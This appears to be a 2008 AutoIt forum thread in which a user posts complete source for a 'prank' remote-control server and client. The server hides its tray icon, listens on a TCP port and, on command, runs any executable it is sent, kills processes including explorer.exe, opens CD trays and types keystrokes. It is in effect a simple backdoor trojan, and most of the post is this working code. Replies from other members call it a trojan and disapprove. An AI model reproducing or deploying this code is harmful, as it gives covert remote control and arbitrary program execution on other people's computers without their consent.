pranc server and cliant

[7h331337]

i made this program to mess about with my friends in college all it dos is open and close cd tray hide and show desktop send text change the active window and lets you execute ur own commands

the server has got a safety feature that it will cut of the connections after a min but all you have to do is push esc to reconnect or just change the time frame

server:

CODE

#NoTrayIcon

#include <guiconstants.au3>

Global $time = 1

$ip = "192.168.1.101"

GUISetState()

TCPStartup()

$port = 1337

$main = TCPListen($ip, $port)

Do

$ConnectedSocket = TCPAccept($main)

Until $ConnectedSocket <> -1

While 1

$recv = TCPRecv($ConnectedSocket, 2048)

If $recv = "1" Then

CDTray("D:", "open")

CDTray("E:", "open")

EndIf

If $recv = "2" Then

CDTray("D:\", "closed")

CDTray("E:\", "closed")

EndIf

If $recv = "3" Then

ProcessClose("explorer.exe")

EndIf

If $recv = "4" Then

Run("explorer.exe")

EndIf

If $recv = "8" Then

Send("{lalt}" + "{tab}")

EndIf

If StringRegExp($recv, ",,,") = True Then

$string = StringSplit($recv, ",")

Send($string[4])

EndIf

If StringRegExp($recv, ".exe") = True Then

Run($recv)

EndIf

If StringRegExp($recv, "kill,") = True Then

$string2 = StringSplit($recv, ",")

ProcessClose($string2[2])

EndIf

If $time >= 600000 Then

Do

$ConnectedSocket = TCPAccept($main)

Until $ConnectedSocket <> -1

$time = 0

EndIf

$time = $time + 10

WEnd

client:

CODE

#include <WINDOWSconstants.au3>

#include <guiconstants.au3>

HotKeySet("{esc}","recon")

$ip = InputBox("please type ip of server","type the ip of the computer that the server is on")

$port = 1337

$data = "1"

$MAIN = GUICreate("!!!RULER!!! V0.01 BY 7H331337",400,90,@DESKTOPWIDTH / 2 - 200,@DESKTOPHEIGHT / 2 - 100)

GUISetBkColor(0X0000FF,$MAIN)

$b1 = GUICtrlCreateButton("CD OPEN",10,10,80,30)

$b2 = GUICtrlCreateButton("CD CLOSE",10,50,80,30)

$b3 = GUICtrlCreateButton("KILL DESKTOP",110,10,80,30)

$b4 = GUICtrlCreateButton("RUN DESKTOP",110,50,80,30)

$b5 = GUICtrlCreateButton("START CUSTOM",210,10,80,30)

$b6 = GUICtrlCreateButton("KILL CUSTOM",210,50,80,30)

$b7 = GUICtrlCreateButton("SEND TEXT",310,10,80,30)

$b8 = GUICtrlCreateButton("CHANGE WIN",310,50,80,30)

GUISetState()

TCPStartup()

$con = TCPConnect($ip, $port)

while 1

$MSG = GUIGetMsg()

if $msg = $GUI_EVENT_CLOSE Then

Exit

endif

IF $MSG = $b1 Then

TCPSEND($con,"1")

ENDIF

IF $MSG = $b2 Then

TCPSEND($con,"2")

ENDIF

IF $MSG = $b3 Then

TCPSEND($con,"3")

ENDIF

IF $MSG = $b4 Then

TCPSEND($con,"4")

ENDIF

IF $MSG = $b5 Then

$input = InputBox("run custom program","type name of program: e.g. cmd.exe")

TCPSEND($con,$input)

ENDIF

IF $MSG = $b6 Then

$input = InputBox("kill custom program","type name of program: e.g. cmd.exe")

TCPSEND($con,"kill,"& $input)

ENDIF

IF $MSG = $b7 Then

$input = InputBox("type the text you want to send","type the text you want to send dont use ,")

TCPSEND($con,",,," & $input)

ENDIF

IF $MSG = $b8 Then

TCPSEND($con,"8")

ENDIF

wend

func recon()

TCPCloseSocket($con)

$con = TCPConnect($ip, $port)

EndFunc

Edited June 29, 2008 by 7h331337

[malu05]

Evil... a trojan. I remember back in the scriptkitty days where i placed this kinda of client software im my friends computer and suddently started typing stuff in a notepad on their comp.

[BigDod]

This sort of crap should be discouraged as it can give AutoIt a bad name.

[H5O20H]

This sort of crap should be discouraged as it can give AutoIt a bad name.

Blah...blah,you sound like all trojans are made in AutoIt.

[Jos]

Blah...blah,you sound like all trojans are made in AutoIt.

You better not get too smart here. Edited June 30, 2008 by Jos